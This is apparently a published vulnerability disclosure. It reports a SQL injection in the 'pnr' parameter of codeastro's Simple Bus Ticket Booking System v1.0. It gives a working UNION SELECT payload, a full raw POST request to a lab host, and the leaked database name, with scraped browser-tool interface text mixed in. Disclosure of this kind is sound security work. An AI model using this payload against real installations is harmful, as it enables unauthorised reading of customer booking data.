

main

...

bug_report / vendors / codeastro.com / simple-bus-ticket-booking-system / SQLi-1.md



debug601 Create SQLi-1.md

History

1 contributor

29 lines (21 sloc) | 1007 Bytes

...

Simple Bus Ticket Booking System v1.0 by codeastr.com has SQL injection

vendors: <https://codeastro.com/simple-bus-ticket-booking-system-in-php-with-source-code/>

Vulnerability File: /SimpleBusTicket/index.php

Vulnerability location: /SimpleBusTicket/index.php, phr

[+] Payload: pnr=111' union select 1,2,3,4,database(),6,7,8--+&pnr-search=

dbname = sbtbsphp ---> length = 8

```
POST /SimpleBusTicket/index.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
Content-Type: application/x-www-form-urlencoded
```

Content-Length: 61

pnr=111' union select 1,2,3,4,database(),6,7,8--+&pnr-search=

◀

▶

Load URL

Split URL

Execute

192.168.1.19/SimpleBusTicket/

☒ Post data

☐ Referrer

◀

0xHEX

▶

◀

%URL

▶

◀

BASE64

▶

Insert string to replace

Insert replacin

Post data


pnr=111' union select 1,2,3,4,database(),6,7,8--+&pnr-search=

SBTBS

Sim

Welcome to Simple

scroll d



Booking Information!

Download

Delete

PNR : 111' union select 1,2,3,4,database(),6,7,8--

Customer Name :

Customer Phone :

Route : sbtbsphp

Bus Number :

Booked Seat Number : 7

Departure Date :

Departure Time :

Booked Timing : 8